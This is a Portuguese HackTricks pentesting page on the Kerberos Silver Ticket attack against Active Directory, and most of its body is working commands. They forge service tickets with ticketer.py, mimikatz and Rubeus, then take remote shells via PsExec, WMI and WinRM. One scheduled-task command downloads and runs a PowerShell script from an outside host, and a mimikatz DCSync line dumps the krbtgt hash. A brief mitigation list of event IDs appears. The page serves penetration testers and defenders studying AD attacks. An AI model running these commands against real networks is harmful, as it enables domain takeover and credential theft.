11 KiB
Silver Ticket
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Se você está interessado em uma carreira de hacking e hackear o inquebrável - estamos contratando! (fluência em polonês escrito e falado é necessária).
{% embed url="https://www.stmcyber.com/careers" %}
Silver ticket
O ataque Silver ticket é baseado em criar um TGS válido para um serviço uma vez que o hash NTLM do serviço é obtido (como o hash da conta do PC). Assim, é possível ganhar acesso a esse serviço forjando um TGS personalizado como qualquer usuário.
Neste caso, o hash NTLM de uma conta de computador (que é uma espécie de conta de usuário no AD) é obtido. Portanto, é possível criar um ticket para entrar nessa máquina com privilégios de administrador através do serviço SMB. As contas de computador redefinem suas senhas a cada 30 dias por padrão.
Também deve ser levado em consideração que é possível E RECOMENDADO (opsec) forjar tickets usando as chaves AES Kerberos (AES128 e AES256). Para saber como gerar uma chave AES, leia: seção 4.4 do MS-KILE ou o Get-KerberosAESKey.ps1.
{% code title="Linux" %}
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
Em Windows, o Mimikatz pode ser usado para criar o ticket. Em seguida, o ticket é injetado com o Rubeus, e finalmente um shell remoto pode ser obtido graças ao PsExec.
{% code title="Windows" %}
#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi
{% endcode %}
O serviço CIFS é aquele que permite acessar o sistema de arquivos da vítima. Você pode encontrar outros serviços aqui: https://adsecurity.org/?page_id=183. Por exemplo, você pode usar o serviço HOST para criar uma schtask em um computador. Em seguida, você pode verificar se isso funcionou tentando listar as tarefas da vítima: schtasks /S <hostname>
ou você pode usar os serviços HOST e RPCSS para executar consultas WMI em um computador, teste fazendo: Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>
Mitigação
Eventos de ticket de prata ID (mais furtivos que ticket de ouro):
- 4624: Logon da conta
- 4634: Logoff da conta
- 4672: Logon do administrador
Mais informações sobre Silver Tickets em ired.team
Serviços Disponíveis
Tipo de Serviço | Silver Tickets de Serviço |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP Dependendo do SO também: WSMAN RPCSS |
WinRM | HOST HTTP Em algumas ocasiões você pode apenas solicitar: WINRM |
Tarefas Agendadas | HOST |
Compartilhamento de Arquivos do Windows, também psexec | CIFS |
Operações LDAP, incluindo DCSync | LDAP |
Ferramentas de Administração Remota do Windows Server | RPCSS LDAP CIFS |
Golden Tickets | krbtgt |
Usando o Rubeus, você pode solicitar todos esses tickets usando o parâmetro:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
Abusando de tickets de serviço
Nos exemplos a seguir, vamos imaginar que o ticket seja obtido se passando pela conta de administrador.
CIFS
Com este ticket, você poderá acessar as pastas C$
e ADMIN$
via SMB (se estiverem expostas) e copiar arquivos para uma parte do sistema de arquivos remoto apenas fazendo algo como:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
Você também será capaz de obter um shell dentro do host ou executar comandos arbitrários usando psexec:
{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}
HOST
Com essa permissão, você pode gerar tarefas agendadas em computadores remotos e executar comandos arbitrários:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
HOST + RPCSS
Com esses tickets você pode executar o WMI no sistema da vítima:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
Encontre mais informações sobre wmiexec na seguinte página:
{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}
HOST + WSMAN (WINRM)
Com acesso winrm a um computador, você pode acessá-lo e até mesmo obter um PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
Verifique a seguinte página para aprender mais maneiras de se conectar a um host remoto usando winrm:
{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}
{% hint style="warning" %} Observe que o winrm deve estar ativo e ouvindo no computador remoto para acessá-lo. {% endhint %}
LDAP
Com esse privilégio, você pode despejar o banco de dados do DC usando DCSync:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
Saiba mais sobre DCSync na seguinte página:
{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}
Se você está interessado em carreira de hacking e hackear o inquebrável - estamos contratando! (fluência em polonês escrita e falada é necessária).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.